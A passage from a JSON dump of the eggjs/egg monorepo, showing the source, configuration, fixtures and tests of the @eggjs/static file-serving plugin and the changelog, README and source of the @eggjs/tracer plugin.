    "content": "{\n  \"name\": \"@eggjs/static\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"static server plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"static\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/static\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"dead_horse\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/static\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/middleware/static\": \"./src/app/middleware/static.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.prod\": \"./src/config/config.prod.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/middleware/static\": \"./dist/app/middleware/static.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.prod\": \"./dist/config/config.prod.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/koa-static-cache\": \"workspace:*\",\n    \"koa-compose\": \"catalog:\",\n    \"koa-range\": \"catalog:\",\n    \"ylru\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/koa-range\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/static/src/app/middleware/static.ts",
    "content": "import assert from 'node:assert';\nimport { mkdirSync, existsSync } from 'node:fs';\n\nimport { staticCache } from '@eggjs/koa-static-cache';\nimport type { Application, Context, Next, MiddlewareFunc } from 'egg';\nimport compose from 'koa-compose';\nimport range from 'koa-range';\nimport { LRU } from 'ylru';\n\nimport type { StaticConfig, StaticDirOptions } from '../../config/config.default.ts';\n\nexport default (options: StaticConfig, app: Application): MiddlewareFunc => {\n  const dirs = (options.dirs ?? []).concat(options.dir);\n\n  const prefixes: string[] = [];\n\n  function rangeMiddleware(ctx: Context, next: Next) {\n    // if match static file, and use range middleware.\n    const isMatch = prefixes.some((p) => ctx.path.startsWith(p));\n    if (isMatch) {\n      return range(ctx as any, next);\n    }\n    return next();\n  }\n\n  const middlewares = [rangeMiddleware];\n\n  for (const dirObj of dirs) {\n    const isObject = typeof dirObj === 'object' && dirObj !== null;\n    const isString = typeof dirObj === 'string';\n    assert(isObject || isString, '`config.static.dir` must be `string | Array<string|object>`');\n\n    let newOptions: StaticDirOptions;\n    if (isString) {\n      // copy origin options to new options ensure the safety of objects\n      newOptions = {\n        ...options,\n        dir: dirObj,\n      };\n    } else {\n      assert(\n        typeof dirObj.dir === 'string',\n        '`config.static.dirs` should contains `[].dir` property when object style',\n      );\n      newOptions = {\n        ...options,\n        ...dirObj,\n      };\n    }\n\n    if (newOptions.dynamic && !newOptions.files) {\n      newOptions.files = new LRU(newOptions.maxFiles);\n    }\n\n    if (newOptions.prefix) {\n      prefixes.push(newOptions.prefix);\n    }\n\n    // ensure directory exists\n    if (!existsSync(newOptions.dir)) {\n      mkdirSync(newOptions.dir, { recursive: true });\n    }\n    middlewares.push(staticCache(newOptions));\n\n    app.coreLogger.info('[@eggjs/static] starting static serve %s -> %s', newOptions.prefix, newOptions.dir);\n  }\n\n  return compose(middlewares);\n};\n"
  },
  {
    "path": "plugins/static/src/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nexport default class AppBoot implements ILifecycleBoot {\n  private readonly app;\n  constructor(app: Application) {\n    this.app = app;\n  }\n  async configWillLoad(): Promise<void> {\n    const app = this.app;\n    // make sure static middleware is before bodyParser\n    const index = app.config.coreMiddleware.indexOf('bodyParser');\n    if (index === -1) {\n      app.config.coreMiddleware.push('static');\n    } else {\n      app.config.coreMiddleware.splice(index, 0, 'static');\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/static/src/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { Options as StaticCacheOptions } from '@eggjs/koa-static-cache';\nimport { defineConfigFactory, type PartialEggConfig } from 'egg';\n\nexport interface StaticDirOptions extends Omit<StaticCacheOptions, 'dir'> {\n  /**\n   * static files store dir\n   */\n  dir: string;\n  /**\n   * static files prefix\n   * Default to `'/public/'`\n   */\n  prefix: string;\n  /**\n   * cache max age in `seconds`\n   * Default to `0` on development, `31536000` on production\n   */\n  maxAge: number;\n  /**\n   * dynamic load file which not cached on initialization\n   * Default to `true`\n   */\n  dynamic: boolean;\n  /**\n   * caches the assets on initialization or not,\n   * always work together with `options.dynamic`\n   * Default to `false`\n   */\n  preload: boolean;\n  /**\n   * buffer the file content or not\n   * Default to `false` on development, `true` on production\n   */\n  buffer: boolean;\n  /**\n   * max files count in store\n   * Default to `1000`\n   */\n  maxFiles: number;\n}\n\nexport interface StaticConfig extends Omit<StaticDirOptions, 'dir'> {\n  /**\n   * static files store dir\n   * Default to `${baseDir}/app/public`\n   */\n  dir: string | Array<string | StaticDirOptions>;\n  /**\n   * static files store dirs\n   * @deprecated use `dir` instead\n   */\n  dirs?: Array<string | StaticDirOptions>;\n}\n\nimport type { EggConfigFactory } from 'egg';\n\nconst config: EggConfigFactory = defineConfigFactory((appInfo): PartialEggConfig => {\n  return {\n    static: {\n      prefix: '/public/',\n      dir: path.join(appInfo.baseDir, 'app/public'),\n      // dirs: [ dir1, dir2 ] or [ dir1, { prefix: '/static2', dir: dir2 } ],\n      // support lazy load\n      dynamic: true,\n      preload: false,\n      buffer: false,\n      maxFiles: 1000,\n    },\n  };\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/static/src/config/config.prod.ts",
    "content": "import { type PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = {\n  static: {\n    maxAge: 31536000,\n    buffer: true,\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/static/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Static file serve plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import staticPlugin from '@eggjs/static';\n *\n * export default {\n *   ...staticPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'static',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/static/src/types.ts",
    "content": "import type { StaticConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  /**\n   * Static file serve\n   * @member Config#static\n   * @see https://github.com/eggjs/egg/tree/next/packages/koa-static-cache\n   */\n  interface EggAppConfig {\n    static: StaticConfig;\n  }\n}\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server/app/controller/foo.js",
    "content": "'use strict';\n\nexports.bar = function (ctx) {\n  ctx.body = 'hello world';\n  ctx.type = 'text';\n  ctx.status = 200;\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server/app/public/foo.js",
    "content": "console.log('bar');\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/foo/bar', 'foo.bar');\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server/package.json",
    "content": "{\n  \"name\": \"static-server\"\n}\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-custom/app/assets/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-custom/config/config.default.js",
    "content": "const path = require('path');\n\nmodule.exports = (info) => {\n  const exports = {\n    keys: 'test key',\n  };\n\n  exports.static = {\n    prefix: '/static-custom',\n    dir: path.join(info.baseDir, 'dist/static'),\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-custom/package.json",
    "content": "{\n  \"name\": \"static\"\n}\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-dist/app/assets/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-dist/config/config.default.js",
    "content": "module.exports = (info) => {\n  return {\n    keys: 'test key',\n    static: {\n      prefix: '/static',\n      dir: info.baseDir + '/dist/static',\n      buffer: true,\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-dist/config/plugin.js",
    "content": "exports.static = true;\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-dist/package.json",
    "content": "{\n  \"name\": \"static\"\n}\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dir/app/public/foo.js",
    "content": "console.log('bar');\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dir/config/config.default.js",
    "content": "const path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    keys: 'aaa',\n    static: {\n      prefix: '/public',\n      dir: [path.join(appInfo.baseDir, '/app/public'), path.join(appInfo.baseDir, '/dist/static')],\n      buffer: true,\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dir/config/plugin.js",
    "content": "exports.static = true;\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dir/package.json",
    "content": "{\n  \"name\": \"static\"\n}\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dirs/app/public/foo.js",
    "content": "console.log('bar');\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dirs/config/config.default.js",
    "content": "const path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    keys: 'aaa',\n    static: {\n      prefix: '/public',\n      dirs: [\n        path.join(appInfo.baseDir, '/app/public'),\n        {\n          prefix: '/static',\n          dir: path.join(appInfo.baseDir, '/dist/static'),\n        },\n      ],\n      buffer: true,\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dirs/config/plugin.js",
    "content": "exports.static = true;\n"
  },
  {
    "path": "plugins/static/test/fixtures/static-server-with-dirs/package.json",
    "content": "{\n  \"name\": \"static\"\n}\n"
  },
  {
    "path": "plugins/static/test/static.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mock, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, beforeAll, afterAll } from 'vitest';\n\nexport function getFixtures(filename: string): string {\n  return path.join(import.meta.dirname, 'fixtures', filename);\n}\n\ndescribe('test/static.test.ts', () => {\n  describe('serve public', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mock.app({\n        baseDir: getFixtures('static-server'),\n      });\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should get exists js file', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .expect(/console.log\\('bar'\\);[\\r\\n]/)\n        .expect(200);\n    });\n\n    it('should get /public 404', () => {\n      return app.httpRequest().get('/public').expect(404);\n    });\n\n    it('should 404', () => {\n      return app.httpRequest().get('/public/foo404.js').expect(404);\n    });\n\n    it('should return 206 with partial content', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .set('range', 'bytes=0-10')\n        .expect('Content-Length', '11')\n        .expect('Accept-Ranges', 'bytes')\n        .expect('Content-Range', process.platform === 'win32' ? 'bytes 0-10/21' : 'bytes 0-10/20')\n        .expect('console.log')\n        .expect(206);\n    });\n\n    it(\"should range don't effect non static router\", () => {\n      return app.httpRequest().get('/foo/bar').set('range', 'bytes=0-5').expect('hello world').expect(200);\n    });\n  });\n\n  describe('serve dist', () => {\n    let app: MockApplication;\n    const jsFile: string = getFixtures('static-server-dist/dist/static/app/a.js');\n    beforeAll(async () => {\n      await fs.mkdir(path.dirname(jsFile), { recursive: true });\n      await fs.writeFile(jsFile, \"console.log('a')\");\n      app = mock.app({\n        baseDir: getFixtures('static-server-dist'),\n      });\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      await fs.unlink(jsFile);\n    });\n\n    it('should get js', async () => {\n      const res = await app.httpRequest().get('/static/app/a.js').expect(200);\n      expect(res.text).toBe(\"console.log('a')\");\n    });\n\n    it('should cache file', async () => {\n      await app.httpRequest().get('/static/app/a.js').expect(\"console.log('a')\").expect(200);\n      await fs.writeFile(jsFile, \"console.log('b')\");\n      await app.httpRequest().get('/static/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n  });\n\n  describe('serve custom using config.js', () => {\n    let app: MockApplication;\n    const jsFile: string = getFixtures('static-server-custom/dist/static/app/a.js');\n    beforeAll(async () => {\n      await fs.mkdir(path.dirname(jsFile), { recursive: true });\n      await fs.writeFile(jsFile, \"console.log('a')\");\n      app = mock.app({\n        baseDir: getFixtures('static-server-custom'),\n      });\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      await fs.unlink(jsFile);\n    });\n\n    it('should get js', async () => {\n      await app.httpRequest().get('/static-custom/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n  });\n\n  describe('serve multiple folder with options.dir', () => {\n    let app: MockApplication;\n    const jsFile = getFixtures('static-server-with-dir/dist/static/app/a.js');\n    beforeAll(async () => {\n      await fs.mkdir(path.dirname(jsFile), { recursive: true });\n      await fs.writeFile(jsFile, \"console.log('a')\");\n      app = mock.app({\n        baseDir: getFixtures('static-server-with-dir'),\n      });\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      await fs.unlink(jsFile);\n    });\n\n    it('should get js correct from public folder', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .expect(/console.log\\('bar'\\);[\\r\\n]/)\n        .expect(200);\n    });\n\n    it('should get js correct with range support', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .set('range', 'bytes=0-10')\n        .expect('Content-Length', '11')\n        .expect('Accept-Ranges', 'bytes')\n        .expect('Content-Range', process.platform === 'win32' ? 'bytes 0-10/21' : 'bytes 0-10/20')\n        .expect('console.log')\n        .expect(206);\n    });\n\n    it('should get js correct from dist folder', () => {\n      return app.httpRequest().get('/public/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n\n    it('should cache file', async () => {\n      await app.httpRequest().get('/public/app/a.js').expect(\"console.log('a')\").expect(200);\n      await fs.writeFile(jsFile, \"console.log('b')\");\n      await app.httpRequest().get('/public/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n  });\n\n  describe('serve multiple folder with options.dirs', () => {\n    let app: MockApplication;\n    const jsFile = getFixtures('static-server-with-dirs/dist/static/app/a.js');\n    beforeAll(async () => {\n      await fs.mkdir(path.dirname(jsFile), { recursive: true });\n      await fs.writeFile(jsFile, \"console.log('a')\");\n      app = mock.app({\n        baseDir: getFixtures('static-server-with-dirs'),\n      });\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      await fs.unlink(jsFile);\n    });\n\n    it('should get js correct from public folder', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .expect(/console.log\\('bar'\\);[\\r\\n]/)\n        .expect(200);\n    });\n\n    it('should get js correct with range support', () => {\n      return app\n        .httpRequest()\n        .get('/public/foo.js')\n        .set('range', 'bytes=0-10')\n        .expect('Content-Length', '11')\n        .expect('Accept-Ranges', 'bytes')\n        .expect('Content-Range', process.platform === 'win32' ? 'bytes 0-10/21' : 'bytes 0-10/20')\n        .expect('console.log')\n        .expect(206);\n    });\n\n    it('should get js correct from dist folder', () => {\n      return app.httpRequest().get('/static/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n\n    it('should cache file', async () => {\n      await app.httpRequest().get('/static/app/a.js').expect(\"console.log('a')\").expect(200);\n      await fs.writeFile(jsFile, \"console.log('b')\");\n      await app.httpRequest().get('/static/app/a.js').expect(\"console.log('a')\").expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/static/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/tracer/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs/egg-tracer/compare/v2.1.0...v3.0.0) (2025-02-04)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced a robust tracer functionality that generates unique trace\nIDs for improved application tracing.\n- **Documentation**\n- Rebranded the package to \"@eggjs/tracer\" with updated installation\ninstructions, usage examples, and a new contributors section.\n- **Refactor**\n- Streamlined internal architecture and module integration for enhanced\nperformance and clearer TypeScript support.\n- **Chores**\n- Revamped dependency management and build workflows, ensuring\ncompatibility with Node.js ≥ 18.19.0.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#9](https://github.com/eggjs/egg-tracer/issues/9)) ([dba5b9c](https://github.com/eggjs/egg-tracer/commit/dba5b9cce4becbd81a73466e9b22dc0dbb64450a))\n\n## [2.1.0](https://github.com/eggjs/egg-tracer/compare/v2.0.0...v2.1.0) (2023-05-24)\n\n\n### Features\n\n* add index.d.ts ([#7](https://github.com/eggjs/egg-tracer/issues/7)) ([c1cc5a9](https://github.com/eggjs/egg-tracer/commit/c1cc5a9902db8eae3b1a77667c0958b180b4c7dd))\n\n## [2.0.0](https://github.com/eggjs/egg-tracer/compare/v1.1.0...v2.0.0) (2023-01-07)\n\n\n### ⚠ BREAKING CHANGES\n\n* Drop Node.js < 14 support\n\n### Features\n\n* upgrade all deps to latest versions ([#6](https://github.com/eggjs/egg-tracer/issues/6)) ([516ae2b](https://github.com/eggjs/egg-tracer/commit/516ae2b570e3fceb523d7ca37443310da10ac5ed))\n\n---\n\n\n1.1.0 / 2017-09-07\n==================\n\n**features**\n  * [[`02501c6`](http://github.com/eggjs/egg-tracer/commit/02501c6623da0acfaca660b71d12e66afa5d7810)] - feat: support app or agent get tracer (#2) (hui <<kangpangpang@gmail.com>>)\n\n**others**\n  * [[`840724e`](http://github.com/eggjs/egg-tracer/commit/840724e8c5dc31908397004ede4a6e5a52555e0e)] - chore: upgrade deps and fix test (#1) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.0.0 / 2016-08-16\n==================\n\n  * first version\n"
  },
  {
    "path": "plugins/tracer/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/tracer/README.md",
    "content": "# @eggjs/tracer\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tracer.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/security)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tracer.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tracer\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tracer/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tracer\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tracer.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tracer\n\ntracer plugin for egg.\n\n## Install\n\n```bash\nnpm i @eggjs/tracer\n```\n\n## Usage\n\nEnable tracer plugin:\n\n```js\n// config/plugin.ts\nimport tracerPlugin from '@eggjs/tracer';\n\nexport default {\n  ...tracerPlugin(),\n};\n```\n\n### Build my own Tracer Class\n\n```ts\n// ./path/to/my_tracer.ts\nimport { Tracer } from '@eggjs/tracer';\n\nconst counter = 0;\n\nexport class MyTracer extends Tracer {\n  get traceId() {\n    return `${counter++}-${Date.now()}-${process.pid}`;\n  }\n}\n```\n\nChange the config to use `MyTracer`:\n\n```ts\n// config/config.default.ts\nimport { defineConfig } from 'egg';\n\nimport { MyTracer } from './path/to/my_tracer.ts';\n\nexport default defineConfig({\n  tracer: {\n    Class: MyTracer,\n  },\n});\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/tracer/package.json",
    "content": "{\n  \"name\": \"@eggjs/tracer\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tracer for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"parentSpanId\",\n    \"spanId\",\n    \"traceId\",\n    \"tracer\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/tracer\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com> (https://github.com/fengmk2)\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/tracer\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./boot\": \"./src/boot.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/tracer\": \"./src/lib/tracer.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./boot\": \"./dist/boot.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/tracer\": \"./dist/lib/tracer.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/src/agent.ts",
    "content": "import { TracerBoot } from './boot.ts';\n\nexport default TracerBoot;\n"
  },
  {
    "path": "plugins/tracer/src/app/extend/agent.ts",
    "content": "import TracerApplication from './application.ts';\n\nexport default TracerApplication;\n"
  },
  {
    "path": "plugins/tracer/src/app/extend/application.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { Application } from 'egg';\n\nimport type { Tracer } from '../../lib/tracer.ts';\n\nconst debug = debuglog('egg/tracer/app/extend/application');\n\nconst cacheTracer: unique symbol = Symbol('before_ready_tracer');\nexport const isReady: unique symbol = Symbol('egg_tracer_is_ready');\n\nexport default class TracerApplication extends Application {\n  get tracer(): Tracer {\n    if (this[isReady]) {\n      return new this.config.tracer.Class(this.createAnonymousContext());\n    }\n\n    if (!this[cacheTracer]) {\n      this[cacheTracer] = new this.config.tracer.Class(this.createAnonymousContext());\n    }\n\n    debug('use cached tracer before ready, type: %o', this.type);\n    return this[cacheTracer] as Tracer;\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/src/app/extend/context.ts",
    "content": "import { Context } from 'egg';\n\nimport type { Tracer } from '../../lib/tracer.ts';\n\nconst TRACER: unique symbol = Symbol('context tracer');\n\nexport default class TracerContext extends Context {\n  get tracer(): Tracer {\n    if (!this[TRACER]) {\n      this[TRACER] = new this.app.config.tracer.Class(this);\n    }\n    return this[TRACER] as Tracer;\n  }\n\n  get traceId(): string {\n    return this.tracer.traceId;\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/src/app.ts",
    "content": "import { TracerBoot } from './boot.ts';\n\nexport default TracerBoot;\n"
  },
  {
    "path": "plugins/tracer/src/boot.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { ILifecycleBoot, Application } from 'egg';\n\nimport { isReady } from './app/extend/application.ts';\n\nconst debug = debuglog('egg/tracer/boot');\n\nexport class TracerBoot implements ILifecycleBoot {\n  private readonly app;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    debug('didLoad %o', this.app.type);\n    this.app[isReady] = true;\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/src/config/config.default.ts",
    "content": "import { Tracer } from '../lib/tracer.ts';\n\nexport interface TracerConfig {\n  Class: typeof Tracer;\n}\n\nexport default {\n  tracer: {\n    Class: Tracer,\n  } as TracerConfig,\n};\n"
  },
  {
    "path": "plugins/tracer/src/index.ts",
    "content": "import { definePluginFactory, type EggPluginFactory } from 'egg';\n\nimport './types.ts';\nimport { Tracer } from './lib/tracer.ts';\n\nexport { Tracer };\n\n/**\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import tracerPlugin from '@eggjs/tracer';\n *\n * export default {\n *   ...tracerPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'tracer',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/tracer/src/lib/tracer.ts",
    "content": "import { randomUUID } from 'node:crypto';\n\nimport type { Context } from 'egg';\n\nexport class Tracer {\n  readonly ctx: Context;\n  #traceId: string | undefined;\n\n  constructor(ctx: Context) {\n    this.ctx = ctx;\n  }\n\n  get traceId(): string {\n    if (!this.#traceId) {\n      this.#traceId = randomUUID();\n    }\n    return this.#traceId;\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/src/types.ts",
    "content": "import type { TracerConfig } from './config/config.default.ts';\nimport type { Tracer } from './lib/tracer.ts';\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * tracer config\n     * @member Config#tracer\n     * @property {Tracer} Class - tracer class name\n     */\n    tracer: TracerConfig;\n  }\n\n  interface Application {\n    tracer: Tracer;\n  }\n\n  interface Context {\n    tracer: Tracer;\n    traceId: string;\n  }\n}\n"
  },
  {
    "path": "plugins/tracer/test/error.tracer.test.ts",
